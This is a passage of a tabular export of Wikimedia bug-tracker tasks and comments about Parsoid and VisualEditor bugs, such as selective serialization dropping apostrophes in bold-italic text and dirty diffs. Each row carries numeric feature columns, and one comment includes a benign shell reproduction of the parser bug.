**Severity**: normal",High,80.0,1372033860,1372290747.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-5cf6g72rzkft37gbritr,task_description,resolved,True,c1,2,False,False,True,-1,,0.0,0.0,0.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,12.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,5.0,0.0,0.0,0.0,3.7,0.725,"See URL - an attempt to enter a dash led to bolding vanishing. Not sure what's going on there.

--------------------------
**Version**: unspecified
**Severity**: normal"
242630,Parsoid: selser drops last three apostrophes in '''''foo''''',https://gerrit.wikimedia.org/r/70768 (Gerrit Change I69bda7db141a3302cee6ece5af5ffdc57e748d89) | change APPROVED and MERGED [by jenkins-bot],,,1372291023,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5cf6g72rzkft37gbritr,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,35.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,41.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.117647058823529,1.0,GERRIT_URL (Gerrit Change I69bda7db141a3302cee6ece5af5ffdc57e748d89) | change APPROVED and MERGED [by jenkins-bot]
242626,Parsoid: selser drops last three apostrophes in '''''foo''''',Related URL: https://gerrit.wikimedia.org/r/70768 (Gerrit Change I69bda7db141a3302cee6ece5af5ffdc57e748d89),,,1372287578,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5cf6g72rzkft37gbritr,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I69bda7db141a3302cee6ece5af5ffdc57e748d89)
242622,Parsoid: selser drops last three apostrophes in '''''foo''''',Related URL: https://gerrit.wikimedia.org/r/70768 (Gerrit Change I69bda7db141a3302cee6ece5af5ffdc57e748d89),,,1372287575,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5cf6g72rzkft37gbritr,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I69bda7db141a3302cee6ece5af5ffdc57e748d89)
242617,Parsoid: selser drops last three apostrophes in '''''foo''''',*** Bug 50258 has been marked as a duplicate of this bug. ***,,,1372284454,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-5cf6g72rzkft37gbritr,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50258 has been marked as a duplicate of this bug. ***
242611,Parsoid: selser drops last three apostrophes in '''''foo''''',"I can't reproduce the dirtying of the paragraph locally. If I make a null change, I get a null diff. If I change anything outside the bold+italic text, I get the bad diff.

There are some dirtying issues with the code that was in production at the time, and still one left for which the fix is not deployed. That said, the minimal test case for this ( https://en.wikipedia.org/w/index.php?title=User:JohnCD/VEtest5&diff=next&oldid=561489465 ) does have a neighboring change.",,,1372218541,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-5cf6g72rzkft37gbritr,task_subcomment,,True,c1,2,False,,,-1,,1.0,1.0,0.0,1.0,2.0,6.0,1.0,0.0,0.0,2.0,1.0,1.0,0.0,0.0,1.0,6.0,1.0,5.0,10.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,2.0,0.0,0.0,0.0,8.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,17.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,13.0,3.0,12.0,2.0,1.0,17.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,6.0,10.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,3.6744186046511627,0.6744186046511628,"I can't reproduce the dirtying of the paragraph locally. If I make a null change, I get a null diff. If I change anything outside the bold+italic text, I get the bad diff.

There are some dirtying issues with the code that was in production at the time, and still one left for which the fix is not deployed. That said, the minimal test case for this ( URL ) does have a neighboring change."
242603,Parsoid: selser drops last three apostrophes in '''''foo''''',"Here are actually two bugs:

1) a VE bug that causes that paragraph to be dirtied
2) a Parsoid bug that does not round-trip the bolding properly when using selser on bold elements

Should I open a separate bug for VisualEditor, or do you have one for this already?",,,1372218203,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-5cf6g72rzkft37gbritr,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,2.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,10.0,7.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,3.0,0.0,7.0,3.0,10.0,2.0,2.0,10.0,0.0,0.0,0.0,0.0,7.0,0.0,5.0,0.0,3.0,7.0,5.0,2.0,0.0,0.0,3.0,0.0,5.0,5.0,0.0,2.0,0.0,0.0,2.0,3.711864406779661,0.847457627118644,"Here are actually two bugs:

1) a VE bug that causes that paragraph to be dirtied
2) a Parsoid bug that does not round-trip the bolding properly when using selser on bold elements

Should I open a separate bug for VisualEditor, or do you have one for this already?"
242596,Parsoid: selser drops last three apostrophes in '''''foo''''',"This turns out to be a Parsoid bug:

$ echo ""Foo '''''bar''''' baz"" > wt
$ node parse.js --wt2html < wt | tee html
<body><p data-parsoid='{""dsr"":[0,21,0,0]}'>Foo <i data-parsoid='{""dsr"":[4,14,2,2]}'><b data-parsoid='{""autoInsertedEnd"":true,""dsr"":[6,12,3,0]}'>bar</b></i> baz</p>
</body>
$ sed 's/baz/baaz/g' < html | tee html2
<body><p data-parsoid='{""dsr"":[0,21,0,0]}'>Foo <i data-parsoid='{""dsr"":[4,14,2,2]}'><b data-parsoid='{""autoInsertedEnd"":true,""dsr"":[6,12,3,0]}'>bar</b></i> baaz</p>
</body>
$ node parse.js --html2wt --selser --oldtextfile wt --oldhtmlfile html < html2
Foo '''''bar'' baaz

Note that this doesn't break if there is no DOM change (i.e. if you pipe in html rather than html2 in the last step), and it also doesn't break if selser is disabled (i.e. if you omit --selser in the last step).",,,1372217410,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-5cf6g72rzkft37gbritr,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,1.0,2.0,1.0,0.0,0.0,2.5,3.0,8.5,0.0,0.0,0.5,1.0,0.0,2.5,6.5,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,7.5,0.5,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.5,15.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.5,1.5,3.5,3.0,0.5,3.5,0.0,0.0,0.0,0.0,1.5,0.5,1.5,0.0,3.0,6.5,13.0,0.0,6.5,0.0,3.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,9.5,4.312535857716581,0.5933017785427424,"This turns out to be a Parsoid bug:

$ echo ""Foo '''''bar''''' baz"" > wt
$ node parse.js --wt2html < wt | tee html
<body><p data-parsoid='{""dsr"":[0,21,0,0]}'>Foo <i data-parsoid='{""dsr"":[4,14,2,2]}'><b data-parsoid='{""autoInsertedEnd"":true,""dsr"":[6,12,3,0]}'>bar</b></i> baz</p>
</body>
$ sed 's/baz/baaz/g' < html | tee html2
<body><p data-parsoid='{""dsr"":[0,21,0,0]}'>Foo <i data-parsoid='{""dsr"":[4,14,2,2]}'><b data-parsoid='{""autoInsertedEnd"":true,""dsr"":[6,12,3,0]}'>bar</b></i> baaz</p>
</body>
$ node parse.js --html2wt --selser --oldtextfile wt --oldhtmlfile html < html2
Foo '''''bar'' baaz

Note that this doesn't break if there is no DOM change (i.e. if you pipe in html rather than html2 in the last step), and it also doesn't break if selser is disabled (i.e. if you omit --selser in the last step)."
242589,Parsoid: selser drops last three apostrophes in '''''foo''''',We've seen this come up a number of times in our testing; I haven't investigated this one yet.,,,1372215813,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-5cf6g72rzkft37gbritr,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,14.0,0.0,9.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,9.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.5,0.9545454545454546,We've seen this come up a number of times in our testing; I haven't investigated this one yet.
242584,Parsoid: selser drops last three apostrophes in '''''foo''''',"Roan, can you tell how we're dirtying the DOM such that Parsoid changes these at all?",,,1372037116,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-5cf6g72rzkft37gbritr,task_subcomment,,True,c1,2,True,,,-1,,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,16.0,11.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,11.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,16.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,11.0,11.0,11.0,5.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,3.6842105263157894,1.0,"Roan, can you tell how we're dirtying the DOM such that Parsoid changes these at all?"
52066,VisualEditor: Preserve ordering inside data-mw elements,"Currently we don't and cause major headaches for Parsoid.

--------------------------
**Version**: unspecified
**Severity**: major",High,80.0,1372028700,1372039643.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-spoxch2h3fjmkmu6pdme,task_description,resolved,True,c1,2,True,False,True,-2,,0.0,0.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.137931034482759,0.6551724137931034,"Currently we don't and cause major headaches for Parsoid.

--------------------------
**Version**: unspecified
**Severity**: major"
242519,VisualEditor: Preserve ordering inside data-mw elements,"**ignatzmice.wiki** wrote:

Apparently bug 50080 is a duplicate of this bug. However, that bug is still showing up: https://en.wikipedia.org/w/index.php?title=Wikipedia:Village_pump_(technical)&oldid=564509171#VE_totally_screwing_up",,,1373983343,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-spoxch2h3fjmkmu6pdme,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,3.642857142857143,0.75,"**ignatzmice.wiki** wrote:

Apparently bug 50080 is a duplicate of this bug. However, that bug is still showing up: URL"
242516,VisualEditor: Preserve ordering inside data-mw elements,*** Bug 50108 has been marked as a duplicate of this bug. ***,,,1372101714,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-spoxch2h3fjmkmu6pdme,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50108 has been marked as a duplicate of this bug. ***
242510,VisualEditor: Preserve ordering inside data-mw elements,*** Bug 50108 has been marked as a duplicate of this bug. ***,,,1372091701,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-spoxch2h3fjmkmu6pdme,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50108 has been marked as a duplicate of this bug. ***
242503,VisualEditor: Preserve ordering inside data-mw elements,*** Bug 50106 has been marked as a duplicate of this bug. ***,,,1372091672,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-spoxch2h3fjmkmu6pdme,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50106 has been marked as a duplicate of this bug. ***
242497,VisualEditor: Preserve ordering inside data-mw elements,*** Bug 50101 has been marked as a duplicate of this bug. ***,,,1372091521,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-spoxch2h3fjmkmu6pdme,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50101 has been marked as a duplicate of this bug. ***
242491,VisualEditor: Preserve ordering inside data-mw elements,*** Bug 50099 has been marked as a duplicate of this bug. ***,,,1372091385,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-spoxch2h3fjmkmu6pdme,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50099 has been marked as a duplicate of this bug. ***
242483,VisualEditor: Preserve ordering inside data-mw elements,*** Bug 50080 has been marked as a duplicate of this bug. ***,,,1372039230,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-spoxch2h3fjmkmu6pdme,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50080 has been marked as a duplicate of this bug. ***
242475,VisualEditor: Preserve ordering inside data-mw elements,Related URL: https://gerrit.wikimedia.org/r/70109 (Gerrit Change If0a5bcc67d3a172de0e8839cfda11efacfbf36ff),,,1372032121,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-spoxch2h3fjmkmu6pdme,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change If0a5bcc67d3a172de0e8839cfda11efacfbf36ff)
52060,VisualEditor: Metadata is not annotated,"Which causes this dirty diff:

'''Foo<!--bar-->baz'''

=>

'''Foo'''<!--bar-->'''baz'''

Of course annotating un-deletable metadata means if 'Foobaz' is erased you will be left with:

'''<!--bar-->'''

but that's less of a problem, and could be fixed by Parsoid.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1372009920,1372038604.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-rghqg5jcqisid4tfv5hr,task_description,resolved,True,c1,2,True,False,True,-2,,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,0.0,1.0,0.0,16.0,0.0,0.0,0.0,0.0,1.0,2.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,8.0,1.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,6.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,9.0,1.0,2.0,5.0,0.0,0.0,1.0,0.0,2.0,0.0,1.0,0.0,2.0,6.0,5.0,0.0,9.0,0.0,2.0,0.0,1.0,1.0,0.0,1.0,1.0,0.0,2.0,3.588235294117647,0.6352941176470588,"Which causes this dirty diff:

'''Foo<!--bar-->baz'''

=>

'''Foo'''<!--bar-->'''baz'''

Of course annotating un-deletable metadata means if 'Foobaz' is erased you will be left with:

'''<!--bar-->'''

but that's less of a problem, and could be fixed by Parsoid.

--------------------------
**Version**: unspecified
**Severity**: normal"
242141,VisualEditor: Metadata is not annotated,Related URL: https://gerrit.wikimedia.org/r/70061 (Gerrit Change I40da3d5e8e987571195142304b1a853e177e36ff),,,1372010156,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rghqg5jcqisid4tfv5hr,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I40da3d5e8e987571195142304b1a853e177e36ff)
52058,"VisualEditor: Save dialog is far too small in Monobook, making edit summaries hard to write","Screenshot

See the screenshot; it appears in Monobook on enwiki and mediawiki.org as of the latest release. Kiiinda a problem.

(the other interstitials there - review your changes/save page - are also shrunk).

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11418}",High,80.0,1372005660,1374793868.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-o6x7c2kbmm5le5grlxkj,task_description,resolved,True,c1,2,False,False,True,-2,,0.0,0.0,0.0,1.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,11.0,0.0,1.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.0,6.0,8.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,3.887323943661972,0.6901408450704225,"Screenshot

See the screenshot; it appears in Monobook on enwiki and mediawiki.org as of the latest release. Kiiinda a problem.

(the other interstitials there - review your changes/save page - are also shrunk).

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11418}"
